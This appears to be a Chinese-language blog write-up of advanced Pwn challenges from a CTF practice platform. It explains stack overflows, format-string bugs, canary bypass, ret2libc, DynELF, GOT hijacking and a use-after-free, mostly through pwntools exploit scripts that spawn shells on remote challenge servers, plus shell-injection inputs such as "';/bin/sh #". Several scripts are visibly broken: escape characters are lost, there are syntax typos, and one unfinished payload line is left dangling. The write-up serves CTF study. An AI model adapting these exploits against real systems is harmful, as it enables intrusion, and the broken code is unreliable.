主頁 > 後端開發 > 攻防世界 Pwn 進階 第一頁

攻防世界 Pwn 進階 第一頁

2020-10-21 23:38:14 後端開發

00

要把它跟之前新手區的放在一起總結,先稍稍回顧一下新手區,
攻防世界 Pwn 新手
1、堆疊溢位,從簡單到難,開始有后門函式,到需要自己寫函式引數,到最后的ret2libc,
常見漏洞點有read()函式、gets()函式、strcat()函式等等,
堆疊溢位在進階區還涉及到了很多,包括一些保護機制的繞過,
2、字串格式化漏洞
在這里插入圖片描述字串格式化漏洞在新手區只是對記憶體的讀取,修改,
在進階區還要涉及很多高級應用,下面再說,

3、整數溢位
在這里插入圖片描述

4、指標函式強制轉換漏洞
在這里插入圖片描述

5、亂數問題

01 monkey

單獨將它放到這里就是它跟別的都不大一樣……
整了個js庫進來 用了js庫就能執行js函式了
用了那個js庫以后就能執行js函式
長這樣
os.system(‘cat flag’)

發現扔IDA 好像沒啥用
直接扔虛擬機運行

from pwn import *
 p = remote('111.198.29.45', 36913)
 elf = ELF(./js)
p.recv()
p.send('os.system(\'cat flag\')')  #這個地方要注意 \'是反義符  就是輸入'  還有js函式左右兩邊的''
#是類似與Sql注入那樣把前面的輸入閉合,
p.interactive()

02 dice_game

亂數
參考新手區那個亂數題就好了

#-*- coding:utf-8 -*-
from pwn import*
from ctypes import*
context.log_level="debug"
r=remote("220.249.52.133",42528)
lib = cdll.LoadLibrary('libc.so.6')
r.recvuntil("name:")#這里沒有'\n',所以讀一行就有問題 不能recvline()         
payload='A' * 0x40 + p64(0)
payload=payload.ljust(0x50,"C")
r.sendline(payload)
for i in range(50):
    r.sendlineafter("point(1~6): ",str(lib.rand() % 6 + 1))
r.interactive()

03 反應釜

就是最簡單的堆疊溢位
sprintf
C 庫函式 int sprintf(char *str, const char *format, …) 發送格式化輸出到 str 所指向的字串,
str – 這是指向一個字符陣列的指標,該陣列存盤了 C 字串,
format – 這是字串,包含了要被寫入到字串 str 的文本,
它可以包含嵌入的 format 標簽,format 標簽可被隨后的附加引數中指定的值替換,并按需求進行格式化,
這題剛開始看那代碼確實看了一會……研究半天
然后跑一下 發現就那么回事
然后發現就最最最最最簡單的一個堆疊溢位……
就個這……

from pwn import*
r=remote("220.249.52.133",48469)
payload = 'A' *  0x208 + p64(0x4005f6)
r.sendlineafter(">",payload)
r.interactive()

04 stack2

陣列索引時沒有檢查邊界
要注意的點不大一樣,這個題里面注意的是全域變數,下一個題注意的是函式指標強制轉換函式,

在這里插入圖片描述

from pwn import*
context.log_level = "debug"
r=remote("220.249.52.133",38633)
r.recvuntil("How many numbers you have:")
r.sendline("1")
r.recvuntil("Give me your numbers")
r.sendline("1")
r.recvuntil("5. exit")
v3address = 0x84
#這個地方的ret比之前的多加了個0x10    因為是主函式而且有全域變數
#下面那個就是也是主函式,但是沒有全域變數,他就還是老地方回傳函式
def writea(number,address):
    r.sendline('3')
    r.recvuntil("which number to change:")
    r.sendline(str(address))
    r.recvuntil("new number:")
    r.sendline(str(number))
    r.recvuntil("5. exit")
writea(0x50,v3address)
writea(0x84,v3address + 1)
writea(0x04,v3address + 2)
writea(0x08,v3address + 3)
v3address += 8
writea(0x87,v3address)     #這地方就是比較坑那地方
writea(0x89,v3address + 1)
writea(0x04,v3address + 2)
writea(0x08,v3address + 3)
r.sendline('5')
r.interactive()

來一個網上對坑分析比較好的鏈接

05 forgot

函式指標強制轉換 跟堆疊溢位
在這里插入圖片描述

閱讀程式,發現最下面有個函式指標強制轉換漏洞,想辦法利用,發現change選項可以通過陣列的形式修改v3資料,
我感覺像上面那個題的型別題,

from pwn import *

# io=process('./forgot')
io=remote('111.198.29.45',41178)

io.sendline('fuck')
addr=0x80486CC
payload='\x47'*(0x20)+p32(addr)
io.sendline(payload)

io.interactive()

06 warmup

啥也沒給,就是fuzz
fuzz 也就是盲打

from pwn import* 
#context.log_level='debug'
addr=0x40060d
def fuzz(r,num,flag):
	payload='a'*num
	if flag==1:
		payload+=p32(addr)
	if flag==2:
		payload+=p64(addr)
	r.recvuntil(">")
	r.sendline(payload)
def main():
	for i in range(1000):
		print(i)
		for j in range(3):
			try:
				r=remote("111.198.29.45",46588)
				fuzz(r,i,j)
				text=r.recv()
				print('text.len='+str(len(text))+'text='+text)
				print('num='+str(i)+'flag='+str(j))
				r.interactive()
			except:
				r.close()
if__name__=='__main__':
	main()

寫爆破程式的時候,你如果最后用p.interactive() 程式就會卡住,Ctrl+c才能繼續回圈;建議用p.sendline(‘cat flag’)之類的,然后判斷互動的結果有沒有你想要的值,如果有就interactive(),否則繼續,

07 實時資料監測

就是一個最簡單的字串格式化漏洞 就是數有點大,跑腳本的時候不知道為啥會跑好一會

但是我看那里面那個key的值我就覺得好像沒那么簡單
數太大 %$n 這樣輸入太長了鴨
但還是覺得試試
然后就這樣寫

from pwn import*
context.log_level="debug"
r=remote("220.249.52.133",33732)
payload=p32(0x0804a048) + "%35795742x%$12n"
r.send(payload)
r.interactive()

網上的wp有個這樣的

#coding = utf-8
from pwn import*
#context.log_level="debug"
r=remote("220.249.52.133",33732)
payload = "%35795746x" + "%16$n\x00" + p32(0x804a048)
#payload的構造上有一些不一樣
r.send(payload)
r.interactive()

來一個萬能模板

key_bss_addr =    
key =    
main_addr = 
offset = 
payload = fmtstr_payload(offset,{key_bss_addr:key})

在這個題里

p = remote()
key == 0x084a048
offset = 12
value = 35795746
payload = fmtstr32(offset,{key:value})
r.sendline(payload)

但是人家正宗的wp用的是字串盲打
下面有兩個鏈接 參考一下

鏈接1
鏈接2

這兩篇文章都太強了,讓我對字串格式化漏洞以及它的盲打有了一個全新的認識,碼住碼住,

08 Mary_Morton

字串格式化漏洞 堆疊溢位漏洞 還有canary繞過
這個題 繞過是主角
canary繞過大概思路就是先通過格式化字串函式講canary泄露出來
然后堆疊溢位的時候記得把canary給它寫上
就行
在這里插入圖片描述
一般程式里面有canary保護的話就有個這玩意,

在這里插入圖片描述
上面這個是堆疊溢位

在這里插入圖片描述

上面這個是格式化字串漏洞

#coding=utf-8
from pwn import *
 
context.log_level = 'debug'
p = remote('111.198.29.45',56161)
 
p.recvuntil("Exit the battle ")
p.sendline(str(2))#先進入格式化函式泄漏cannary
p.sendline("%23$p")#泄漏cannary  前面那個$別忘了  就是泄露指標偏移23處的資料
p.recvuntil("0x")
canary = int(p.recv(16),16)#接收16個位元組  這地方好好看一下
 
p.recvuntil("Exit the battle ")
payload = "a"*0x88 + p64(canary) + 0x8*"a" + p64(0x04008DA)
p.sendline(str(1))
p.sendline(payload)
p.interactive()

e.g.下面三個題先看這個文章

點這里
太牛逼了……
都不用我寫啥了
我再把網上的一些wp借鑒一下
再寫一些自己的看法
這三個題都應該有兩種方向吧……
libcsearcher 跟 dynelf
理論上能用system 也能用 execve
上面對前者進行了介紹,這篇文章主要是對后者的說明,

其實他倆是一樣的,都是因為或者沒有給出libc庫,或者給出的庫與服務器的庫版本不一致,這時候可能庫中的資料偏移不一樣導致出問題,
libcsearcher是用python的類別庫代替你要使用的libc庫檔案,還是通過計算基址偏移等獲得相關函式地址,
DynELF通俗的講就是通程序式漏洞泄露出任意地址內容,結合ELF檔案的結構特征獲取對應版本檔案并計算對比出目標符號在記憶體中的地址,

dynelf主要是需要可以回圈的地方,一般不都是……有個子函式,函式里面有個read函式,能夠不停回圈構成堆疊溢位,

關于Dynelf的原理探究有一篇很好的文章可以看一下
Dynelf原理

09 pwn1

canary繞過 ret2libc 對puts函式的利用
就是mary跟level3的一個結合題再加一點變化,更上一個層次的話就是直接連libc庫也沒有,
這個格式化字串漏洞是利用的puts

這里首先要插入一個知識點
32位與64位傳參機制不一樣,所以在寫rop鏈時也需要注意,32位傳參時引數直接就在回傳地址前面,而64位傳參是遵循的規則是:當引數少于7個時, 引數從左到右放入暫存器: rdi, rsi, rdx, rcx, r8, r9,所以就需要我們先在我們的程式里找到對應的gadget(就是小代碼的意思),找到合適的pop指令,先執行pop函式,將引數壓入相應的暫存器,在進行函式的呼叫,
有兩種方法去找所需要的gadget,
第一種是在IDA中找相應的pop代碼可以直接Alt+t查找pop,進行簡單的篩查,確定合適pop指令,

在確定pop指令的時候,經常不會直接找到pop rdi這種指令一般找到的都是這個
在這里插入圖片描述
一定要找這種最后帶一個retn回傳陳述句的,不然在執行ROP鏈時執行pop指令后回不到你的ROP鏈,
然后需要用到逆向中的技巧,在這里調整它的反匯編代碼,具體方法就是選中指令,按d轉換成資料,再找到合適位置按c轉換成指令,尋找我們要的pop指令,
在這里插入圖片描述
這就是效果圖,這道題就是要pop rdi這個指令,他的地址就是0x400A93,
第二種是用我們的使用小工具,ROPgadget,
關于下載安裝配置環境啥的,我還專門寫了個博客,
ROPgadget 安裝 錯誤處理 與使用

在這里插入圖片描述這是效果圖,

e.g. 每次400a70 那里都會有想要的pop 跟 move 我也不知道為啥…… 就離譜……

e.gg. 這里在泄露libc里面的地址可以用之前的常規方法,先泄露system 跟 shell,也可以用這里的用這個新的小東西,one_gadget ,

e.ggg. 這個題里面用puts輸出也非常值得被注意

先是用one_gadget的
有了ROPgadget的下載安裝使用,就再來一個one_gadget,
one_gadget 下載安裝與使用

它就是用來查一下元件里面的execve函式的,就這,就省的你再去找system函式,還要去找‘/bin/sh’,
還是挺好用的,

然后下面是查到的
在這里插入圖片描述
wp

from pwn import *
elf=ELF('./babystack')
libc=ELF('./libc-2.23.so')
p=remote('220.249.52.133',39455)
prdi_addr=0x0400a93
main_addr=0x0400908
one_gadget_addr=0x45216
put_plt=elf.plt['puts']
put_got=elf.got['puts']
p.sendlineafter('>> ','1')
p.sendline('a'*0x88)   
#太坑了吧  這里因為是puts函式  必須用sendline  因為它讀\n才停
p.sendlineafter('>> ','2')
p.recvuntil('a'*0x88+'\n')
canary=u64(p.recv(7).rjust(8,'\x00'))   
#u64跟p64是反的  這點要注意了
print hex(canary)
p.sendlineafter('>> ','1')
payload='a'*0x88+p64(canary)+'a'*8+p64(prdi_addr)+p64(put_got)+p64(put_plt)+p64(main_addr)
#一定要在后面回傳主函式  
p.sendline(payload)
p.sendlineafter('>> ','3')
put_addr=u64(p.recv(8).ljust(8,'\x00'))
#recv(8)不是接受8個位元組 是最多8個,可能是6個
#所以后面要是不補全,u64函式就可能報錯,
#這里的ljust跟上面的rjust也不一樣,有講究
#上面那個是canary默認最后一個位元組是00而且被\n覆寫了,就右對齊
#下面這個是它讀到00停了 ,就左對齊,
print hex(put_addr)
libc_base=put_addr-libc.symbols['puts']
flag=libc_base+one_gadget_addr
p.sendlineafter('>> ','1')
payload1='a'*0x88+p64(canary)+'a'*8+p64(flag)
p.sendline(payload1)
p.sendlineafter('>> ','3')
p.interactive()

以后在虛擬機里跑exp要多跑幾次,我發現它有時候對的exp先后兩次跑結果不一樣,要多嘗試幾次,

首先是關于one_gadget的使用,它的功能是尋找已知libc庫中的execve("/bin/sh")陳述句,首先要求libc庫是已知的,如果是遠程服務器,則execve函式跟system沒啥區別,所以就它給了你libc庫,用一用one_gadget就非常方便,

然后還是寫了一下傳統的沒有用one_gadget的
現學現用
在這里插入圖片描述
嘿嘿嘿,ROPgadget確實好用

#from pwn import*
context.log_level = "debug"
r = remote("220.249.52.133",39455)
elf = ELF('./babystack')
libc = ELF('./libc-2.23.so')
pop_addr = 0x400a93
main_addr = 0x400908
system_addr = libc.symbols['system']
bin_addr = 0x18cd17
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']

r.recvuntil(">> ")
r.send('1')
r.sendline('a' * 0x88) 
r.recvuntil(">> ")
r.send("2")
r.recvuntil('a' * 0x88 + '\n')
canary = u64(r.recv(7).rjust(8,'\x00'))
print(hex(canary))
payload1 = 'a' * 0x88 + p64(canary) + 'a' * 8 + p64(pop_addr) + p64(puts_got) + p64(puts_plt) + p64(main_addr) 
r.recvuntil(">> ")
r.send("1")
r.send(payload1)
r.recvuntil(">> ")
r.send("3")
puts_addr = u64(r.recv(8).ljust(8,'\x00'))
print(hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts']
r.recvuntil(">> ")
payload2 = 'a' * 0x88 + p64(canary) + 'a' * 8 + p64(pop_addr) + p64(bin_addr + libc_base) + p64(system_addr + libc_base)
print(p64(pop_addr) + p64(bin_addr + libc_base) + p64(system_addr + libc_base))
r.send("1")
r.send(payload2)
r.recvuntil(">> ")
r.send("3")
r.interactive()

寫好了,可惡,但是過不了,開始查資料……

在這里插入圖片描述
在這里插入圖片描述
我吐了……libc是假的?用libcsearcher?
好,試一試,
先來看看什么是libcsearcher
libcsearcher 安裝 錯誤處理 與使用

然后相應wp

from pwn import*
from LibcSearcher import*

#context.log_level = "debug"

r = remote("220.249.52.133",38049)
elf = ELF('./babystack')
pop_addr = 0x400a93
main_addr = 0x400908
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
r.recvuntil(">> ")
r.send('1')
r.sendline('a' * 0x88) 
r.recvuntil(">> ")
r.send("2")
r.recvuntil('a' * 0x88 + '\n')
canary = u64(r.recv(7).rjust(8,'\x00'))
payload1 = 'a' * 0x88 + p64(canary) + 'a' * 8 + p64(pop_addr) + p64(puts_got) + p64(puts_plt) + p64(main_addr) 
r.recvuntil(">> ")
r.send("1")
r.send(payload1)
r.recvuntil(">> ")
r.send("3")
puts_addr = u64(r.recv(8).ljust(8,'\x00'))

#下面是libcsearcher的重點地方
libc = LibcSearcher('puts',puts_addr)
#這個是根據puts函式地址來定位基質
libc_base = puts_addr - libc.dump('puts')
system_addr = libc.dump("system")
bin_addr = libc.dump("str_bin_sh")

r.recvuntil(">> ")
payload2 = 'a' * 0x88 + p64(canary) + 'a' * 8 + p64(pop_addr) + p64(bin_addr + libc_base) + p64(system_addr + libc_base)
print(p64(pop_addr) + p64(bin_addr + libc_base) + p64(system_addr + libc_base))
r.send("1")
r.send(payload2)
r.recvuntil(">> ")
r.send("3")
r.interactive()

正當我想結束這道題的時候,問題又來了……那講道理是不是也能用Dynelf寫一下呢……
嘗試過后,

from pwn import*
r = remote("220.249.52.133",33391)
elf = ELF("./babystack")
prdi_addr = 0x0400a93
main_addr = 0x0400908
start_addr = 0x400720
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
def leak(addrss):
    payload1 = 'a' * 0x88
    r.sendlineafter(">> ","1")
    r.sendline(payload1)
    r.sendlineafter(">> ","2")
    r.recvuntil('a' * 0x88 + '\n')
    canary = r.recv(7).rjust(8,'\x00')
    payload = 'a' * 0x88 + canary + 'a' * 8 + p64(prdi_addr) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
    r.sendlineafter(">> ","1")
    r.sendline(payload)
    r.sendlineafter(">> ","3")
    data = u64(r.recv(8).ljust(8,'\x00'))
    return data
dynelf = DynELF(leak,elf = ELF("./babystack"))
system_addr = dynelf.lookup("__libc_system", "libc")
r.recvuntil(">> ")
r.send('1')
r.sendline('a' * 0x88) 
r.recvuntil(">> ")
r.send("2")
r.recvuntil('a' * 0x88 + '\n')
canary = u64(r.recv(7).rjust(8,'\x00'))
r.sendlineafter(">> ","1")
r.send(payload1)
payload1 = 'a' * 0x88 + p64(canary) + 'a' * 8 + p64(system_addr) + 
r.interactive()

npnpnpnpnpnp

10 pwn200

這是Dynelf,抄過來是想寫一點想要的注釋,

from pwn import *
import binascii
p = process("./xdctf-pwn200")
elf = ELF("./xdctf-pwn200")
writeplt = elf.symbols['write']
writegot = elf.got['write']
readplt = elf.symbols['read']
readgot = elf.got['read']
vulnaddress =  0x08048484 
startaddress = 0x080483d0      #呼叫start函式,用以恢復堆疊
bssaddress =   0x0804a020    #用來寫入“/bin/sh”字串
def leak(address):
  payload = "A" * 112
  payload += p32(writeplt)
  payload += p32(vulnaddress)  
  #這個函式是read函式在的地方,為的是讓它一直回傳這里讀入資料構成堆疊溢位然后泄露地址,
  payload += p32(1)
  payload += p32(address)
  payload += p32(4)
  p.send(payload)
  data = p.recv(4)
  return data
print p.recvline()
dynelf = DynELF(leak, elf=ELF("./lctf-pwn200"))
systemAddress = dynelf.lookup("__libc_system", "libc") 
print "systemAddress:", hex(systemAddress)
#呼叫_start函式,恢復堆疊
#不恢復行不行?
#大佬是這么講的……
#在資訊泄露程序中,由于回圈制造溢位,故可能會導致堆疊結構發生不可預料的變化,可以嘗試呼叫目標二進制程式的_start函式來重新開始程式以恢復堆疊.
#看了很多dynelf  每一個都有恢復堆疊這個程序,雖然還是不是很清楚為啥……就先這吧……
payload1 = "A" * 112
payload1 += p32(startaddress) 
p.send(payload1)
print p.recv()
ppprAddress = 0x0804856c  #獲取到的連續3次pop操作的gadget的地址 
payload1 = "A" * 112
payload1 += p32(readplt)
payload1 += p32(ppprAddress)
payload1 += p32(0)
payload1 += p32(bssaddress)
payload1 += p32(8)
payload1 += p32(systemAddress) + p32(vulnaddress) + p32(bssaddress)
p.send(payload1)
p.send('/bin/sh')
p.interactive()

下面是自己寫的LibcSearcher

from pwn import*
from LibcSearcher import*
context.log_level = "debug"
r = remote("220.249.52.133",42633)
elf = ELF("./pwn200")
write_plt = elf.plt['write']
write_got = elf.got['write']
vuln_addr = 0x080483d0
bss_addr = 0x0804a020
r.recvline()
payload = 'a' * 112
payload += p32(write_plt)
payload += p32(vuln_addr)
payload += p32(1)
payload += p32(write_got)
payload += p32(4)
r.send(payload)
write_addr = u32(r.recv())
print(hex(write_addr))
libc = LibcSearcher("write",write_addr)
libc_base = write_addr - libc.dump("write")
print(hex(libc_base))
system_addr = libc_base + libc.dump("system")
print(hex(system_addr))
bin_addr = libc_base + libc.dump("str_bin_addr")
print(hex(bin_addr))
payload2 = 'a' * 112 + p32(system_addr) + p32(vuln_addr) + p32(bin_addr)
r.send(payload2)
r.interactive()

這個題沒有libc庫,Dynelf的話就得要求寫shellcode,LibcSearcher的話就用不著,

11 pwn100

這是Dynelf
要記得64位引數傳遞順序是rdi, rsi, rdx, rcx, r8, r9

from pwn import *
import binascii
p = process("./pwn100")
elf = ELF("./pwn100")
readplt = elf.symbols['read']
readgot = elf.got['read']
putsplt = elf.symbols['puts']
putsgot = elf.got['puts']
mainaddress =   0x4006b8
startaddress =   0x400550
poprdi =  0x400763
pop6address  =  0x40075a   
movcalladdress = 0x400740   
#這里pop一個可以,但是pop6個的話指令不在一起,需要這個mov這里的函式幫忙,兩個地方一起實作修改暫存器中的值為引數,
waddress =  0x601000
def leak(address):
  count = 0
  data = ''
  payload = "A" * 64 + "A" * 8
  payload += p64(poprdi) + p64(address)
  payload += p64(putsplt)
  payload += p64(startaddress)
  payload = payload.ljust(200, "B")
  p.send(payload)
  print p.recvuntil('bye~n')
  up = ""
  while True:
    c = p.recv(numb=1, timeout=0.5)
    count += 1
    if up == 'n' and c == "":
      data = data[:-1]
      data += "x00"
      break
    else:
      data += c
    up = c
  data = data[:4]
  log.info("%#x => %s" % (address, (data or '').encode('hex')))
  return data
d = DynELF(leak, elf=ELF('./pwn100'))
systemAddress = d.lookup('__libc_system', 'libc')
print "systemAddress:", hex(systemAddress)
print "-----------write /bin/sh to bss--------------"
payload1 = "A" * 64 + "A" * 8
payload1 += p64(pop6address) + p64(0) + p64(1) + p64(readgot) + p64(8) + p64(waddress) + p64(0)
payload1 += p64(movcalladdress)
payload1 += 'x00'*56  #這里加的56個這東西
payload1 += p64(startaddress)
payload1 =  payload1.ljust(200, "B")
p.send(payload1)
print p.recvuntil('bye~n')
p.send("/bin/shx00")
print "-----------get shell--------------"
payload2 = "A" * 64 + "A" * 8
payload2 += p64(poprdi) + p64(waddress)
payload2 += p64(systemAddress)
payload2 += p64(startaddress)
payload2 =  payload2.ljust(200, "B")
#這里補充道200
p.send(payload2)
p.interactive()

這個題感覺就LibcSearcher更簡單一點了,畢竟只要泄露一下puts的地址就可以了,所以我突然感覺……Dynelf好處是不是不是那么的明顯?

12 welpwn

LibcSearcher

#coding:utf8  
from pwn import *  
from LibcSearcher import *  
context.log_level  = 'debug'  
sh = process('./pwnh13')  
#sh = remote('111.198.29.45',51867)  
elf = ELF('./pwnh13')  
write_got = elf.got['write']  
puts_plt = elf.plt['puts']  
#此處有4條pop指令,用于跳過24位元組  
pop_24 = 0x40089C  
#pop rdi的地址,用來傳參,具體看x64的傳參方式  
pop_rdi = 0x4008A3  
sh.recvuntil('Welcome to RCTF\n')  
main_addr = 0x4007CD  
#本題的溢位點在echo函式里,然而,當遇到0,就停止了資料的復制,因此我們需要pop_24來跳過24個位元組  
payload = 'a'*0x18 + p64(pop_24) + p64(pop_rdi) + p64(write_got) + p64(puts_plt) + p64(main_addr)  
sh.send(payload)  
sh.recvuntil('\x40')  
#泄露write地址  
write_addr = u64(sh.recv(6).ljust(8,'\x00'))  
libc = LibcSearcher('write',write_addr)  
#獲取libc加載地址  
libc_base = write_addr - libc.dump('write')  
#獲取system地址  
system_addr = libc_base + libc.dump('system')  
#獲取/bin/sh地址  
binsh_addr = libc_base + libc.dump('str_bin_sh')  
sh.recvuntil('\n')  
payload = 'a'*0x18 + p64(pop_24) + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)  
sh.send(payload)  
sh.interactive()  

下面這個是Dynelf

#!/usr/bin/env python
from pwn import *
p=remote('111.198.29.45',41724)
elf=ELF('./welpwn')
write_plt=elf.symbols['write']
read_got=elf.got['read']
write_got=elf.got['write']
read_plt=elf.symbols['read']
start_addr=0x0400630
pop4_addr=0x040089c
pop6_addr=0x040089a
mov_addr=0x0400880
def leak(address):
    print p.recv(1024)
    payload1='A'*24+p64(pop4_addr)+p64(pop6_addr)+p64(0)+p64(1)+p64(write_got)+p64(8)+p64(address)+p64(1)+p64(mov_addr)+'A'*56+p64(start_addr)
    payload1=payload1.ljust(1024,'C')
    p.send(payload1)
    data=p.recv(8)
    #print "%x => %s" % (address, (data or '').encode('hex'))
    return data
d=DynELF(leak,elf=ELF('./welpwn'))
sys_addr=d.lookup('system','libc')
print hex(sys_addr)
bss_addr=elf.bss()
prdi_addr=0x04008a3
print p.recv(1024)
payload2='A'*24+p64(pop4_addr)+p64(pop6_addr)+p64(0)+p64(1)+p64(read_got)+p64(8)+p64(bss_addr)+p64(0)+p64(mov_addr)+'A'*56+p64(prdi_addr)+p64(bss_addr)+p64(sys_addr)+'a'*8
payload2=payload2.ljust(1024,'C')
p.send(payload2)
p.sendline('/bin/sh\x00')
p.interactive()

13 Recho

漏洞點:申請字串空間小于允許讀入的字串個數導致緩沖區溢位

三個考察點

ROP鏈構造
Got表劫持
pwntools的shutdown功能

一些基礎知識

兩個函式
atoi()
C 庫函式 int atoi(const char *str) 把引數 str 所指向的字串轉換為一個整數(型別為 int 型),
read()函式回傳值
大概的意思就是read函式從檔案描述符fd中讀取位元組到count大小的buf中,如果成功讀取的話,回傳讀到的位元組數大小,否則回傳-1.

三個知識
函式引數傳遞順序
當引數少于7個時, 引數從左到右放入暫存器: rdi, rsi, rdx, rcx, r8, r9
shutdown(‘send’)跳出函式無線回圈
rax暫存器在構造exp中,可用于劫持got表,呼叫系統序號函式,

在這里插入圖片描述
沒有檢查陣列長度,導致溢位了,

我不可能講的比這個再好了,

我小小的補充一點東西,那里面所有尋找gadget都是通過IDA找的,我想在這里試一下用ROPgadget,

在這里插入圖片描述

在這里插入圖片描述
ROPgadget還是頂啊,

想嘗試一下用其他暫存器,但是找半天發現,好像確實就rdi能實作,

下面這是正版WP

from pwn import *
# io = process('./Recho')
io = remote('111.198.29.45',41375)
elf = ELF('./Recho')
context.log_level = 'debug'
pop_rdi = 0x4008a3
pop_rdx = 0x4006fe
pop_rax = 0x4006fc
pop_rsi_r15 = 0x4008a1
rdi_add = 0x40070d
flag_addr = elf.symbols['flag'] 
read_got = elf.got['read']

# bss = 0x601090
bss = elf.bss()  #兩者都可以
#這個地方要注意  這玩意還是很實用的
read_plt = elf.plt['read']
write_plt = elf.plt['write']
alarm_got = elf.got['alarm']
alarm_plt = elf.plt['alarm']
print 'flag: ',hex(flag_addr)


payload = 'A'*0x30  #覆寫buf[40]; // [rsp+10h] [rbp-30h] 
payload +='A'*0x08 #覆寫 rbp
#alarm GOT表劫持到syscall位置
payload += p64(pop_rax)+p64(0x5)
payload += p64(pop_rdi)+p64(alarm_got)
payload += p64(rdi_add)  
# -------fd=open('flag',READONLY)-----

payload += p64(pop_rdi)+p64(flag_addr)  #rdi='flag

payload += p64(pop_rsi_r15)+p64(0)+p64(0) #rsi=0(READONLY)
payload += p64(pop_rdx)+p64(0) # rdx = 0
payload += p64(pop_rax)+p64(0x2) # rax=2,open的呼叫號為2
# 執行alarm完成GOT表劫持,syscall的傳參順序是rdi,rsi,rdx,r10,r9,r8

payload += p64(alarm_plt) 
# 將flag傳回的值寫入到bss段 read(fd,stdin_buffer,100)
payload += p64(pop_rdi)+p64(3) #open()打開檔案回傳的檔案描述符一般從3開始,系統環境不一樣也可能不是3,依次順序增加
payload += p64(pop_rdx)+p64(0x2d) #指定長度
payload += p64(pop_rsi_r15)+p64(bss)+p64(0) # rsi =寫入的地址,用于存取open結果
payload += p64(read_plt)
#輸出flag值,write(1,bss,0x40),也可以用print函式
payload += p64(pop_rsi_r15)+p64(bss)+p64(0)
payload += p64(pop_rdx)+p64(0x40)
payload += p64(pop_rdi)+p64(0x01)
payload += p64(write_plt)
# 用printf 函式時,要注意bss段的可寫性,bss此時應改為0x601090或者0x601070
#payload+=p64(pop_rdi)+p64(bss)+p64(printf_plt)  

io.sendline(str(0x200))
# log.info('the length of payload is:',format(hex(len(payload))))
print 'the length of payload is:',format(hex(len(payload)))
payload = payload.ljust(0x200,'\x00')
io.send(payload)
io.recv()
io.shutdown('send')
io.interactive()

14 greeting-150

字串格式化漏洞 GOT表劫持 覆寫.fini_array
說點理解
字串格式化漏洞從剛開始的任意寫,到了后面任意讀,讀出想要的各種地址,但是有個必須條件,就是程式能夠回圈讀,只有這樣才能讀的多,才能將漏洞利用起來,
所以如何利用這個漏洞將程式設計的可以回圈,是這個題的重點,
因為沒有后門函式,也沒有堆疊溢位啥的,就只能劫持GOT表來,
這里是三篇非常棒的參考文章,
1 wp

2 wp

3 原理

這個題我研究半天的地方在它為啥要把地址拆成兩半兩個位元組兩個位元組的進行傳值,

from pwn import *
context.log_level='debug'
#io=remote("111.198.29.45",47611)
io=process("./greeting-150")
elf=ELF("./greeting-150")
strlen_got=elf.got['strlen']
fini_got=0x08049934
start_addr=0x80484f0
system_plt = 0x8048490 
payload="aa"   #這對齊別忘了
payload+=p32(strlen_got+2)
payload+=p32(fini_got+2)
payload+=p32(strlen_got)
payload+=p32(fini_got)
payload+="%2016c%12$hn%13$hn" 
#但是這個就好特殊啊……就是要一直數到這行完了   /黑人問號   
#先記著吧……挺特殊的
#難道是因為一次輸兩個??
payload+="%31884c%14$hn" #這里就是直接加前面的2052
payload+="%96c%15$hn"  #這里也是直接加前面的31884
io.sendline(payload)
io.sendline("/bin/sh")
io.interactive()

printf函式實際上只是輸出到了標準輸出緩沖佇列上,并沒有實實在在的列印到螢屏上,標準輸出是行緩沖機制,也就是說,遇到\n,就會重繪緩沖區,輸出到螢屏上,

說到分開的話就是如果%$n前面有多少位元組才往目標地址寫多少,所以你寫個啥%1242131x它是需要申請這么多緩沖空間的,空間多容易出事,也浪費記憶體,降低效率,

15 time_formatter

下面開始了堆的漏洞
首先是uaf
這個題就是uaf的第一個題
第一個函式跟進里面有個strdup()函式,
strdup()說明:回傳指向被復制的字串的指標,所需空間由malloc()分配且可以由free()釋放,
這里就是通過malloc()給ptr分配空間

C 庫函式 size_t strcspn(const char *str1, const char *str2) 檢索字串 str1 開頭連續有幾個字符都不含字串 str2 中的字符,

/bin/date -d @%d +'%s'
這看起來像一個命令注入,但由于時間戳為%d,format字串經過一系列過濾,我們不能在那里注入什么,
但是時區設定可以沒有限制的呼叫
可以看到3個功能都是通過strdup分配的空間,而且程式在輸入5退出時并沒有清除指標,這就有了一個UAF
如果我們能通過UAF使得set_time_zone分配得到的是set_format釋放掉的記憶體,那么就能成功繞過對字串的過濾
先呼叫set_format,這時我們輸入的字串需要是合法的,這樣才能將指標拷貝到bss上的全域變數上呼叫exit,制造懸掛指標
最后再設定時區,復用chunk(由于format指標是先free的,所以只用設定一次時區)

關于4選項里面的snprintf函式以及時間格式化找了一點資料供參考,

在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述
這是網上的兩種繞過方式,
set_zone(’%Y’;cat flag’’)
p.sendline("’;/bin/sh #")

這是要繞過,這么繞需要知道一個知識點
在linuxshell中,假如有如下陳述句,這就是shell注入方面echo ‘’;ls;cat 1.txt;/bin/sh;’’則ls、cat 1.txt、/bin/sh這三個命令會依次執行,這也就是本題突破的關鍵

格式化字串后的command就是/bin/date -d @0 + ‘’;/bin/sh’’

有兩個小坑

在這里插入圖片描述

寫好exp以后發現程序有點問題,發現多了兩句話,如上圖,IDA里面沒有直接顯示這兩句話,開始找,

在這里插入圖片描述
在這里插入圖片描述
發現用了這種手法將其寫出來,所以IDA 里面沒有直接的提示,

在這里插入圖片描述
下面還有一個類似的

這就提示我們以后還是把程式試一試,少走這坑,

下面是完整exp

#-*-coding: utf-8-*-
from pwn import *

p = remote('220.249.52.133',55829)
#p = process('./time_formatter')

print p.recvuntil('> ')
p.sendline('1')
print p.recvuntil('Format: ')
p.sendline('%F')

print p.recvuntil('> ')
p.sendline('5')
print p.recvuntil('Are you sure you want to exit (y/N)? ')
p.sendline('N')

print p.recvuntil('> ')
p.sendline('3')
print p.recvuntil('Time zone: ')
p.sendline("';/bin/sh #")
print p.recvuntil('> ')
p.sendline('4')
p.interactive()

16 note-servive2

陣列下標越界 GOT表劫持 堆shellcode
漏洞點:沒有檢查陣列越界

在這里插入圖片描述
分析一下,輸入個序號,然后有個陣列,然后向那個陣列里對應的序號地方存資訊,然后又沒有檢查陣列,就漏洞點出來了,

既然陣列下標可以越界,那么我們就可以把任意的地方的8位元組資料寫成新建的堆的地址指標
